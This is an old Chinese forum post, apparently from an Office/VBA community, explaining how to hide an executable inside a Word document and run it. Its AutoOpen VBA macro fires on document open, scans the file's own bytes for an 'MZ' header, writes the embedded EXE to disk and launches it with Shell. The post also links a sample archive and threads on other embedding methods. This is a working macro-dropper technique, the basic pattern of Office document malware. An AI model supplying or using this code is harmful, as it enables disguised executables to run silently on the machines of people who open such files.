在word 中插入\对象\选由文件创建,选择你想“夹带”的exe 文件,直接将“夹带”文件插入到word 文件中;通过后台读取保存在word 文件中的exe文件 ,并还原运行。
Sub AutoOpen() Dim DocI As Long Dim I As Long Dim MyExeName As String Dim OtherExeName As String Dim N As Long Dim arrBytes() As Byte Dim Arrbytes2(1 To 114688) As Byte '114688为你所要夹带的文件的实际字节数 MyDocName = ThisDocument.FullName EXEName = "d:\夹带程序.exe" Open MyDocName For Binary Access Read As #1 N = LOF(1) ReDim arrBytes(1 To N) As Byte Get #1, , arrBytes For DocI = 1 To N If arrBytes(DocI) = 77 And arrBytes(DocI + 1) = 90 Then For I = 1 To 114688 Arrbytes2(I) = arrBytes(DocI + I - 1) Next I Exit For End If Next DocI Open EXEName For Binary Access Write As #2 Put #2, , Arrbytes2 Close #2 Close #1 Erase arrBytes Erase Arrbytes2 Shell EXEName End Sub
相关实例:
oR56QKQB.rar
(47.43 KB, 下载次数: 142)
有关在office中夹带其他文件的讨论,见七叶一枝梅的精华贴: http://club.excelhome.net/viewthread.php?tid=107967 1:直接将源文件以二进制方式读出的方法见守版主在13楼的贴子 2:通过在命令提示符下将“夹带”文件嫁接到office 文件中的方法参见22及28楼; 3:通过在word 中插入对象,在后台用vba激活的方法见31楼,链接: http://club.excelhome.net/dispbbs.asp?boardid=23&star=4&replyid=54363&id=107967&skin=0&page=1
[此贴子已经被konggs于2006-7-11 15:35:10编辑过] |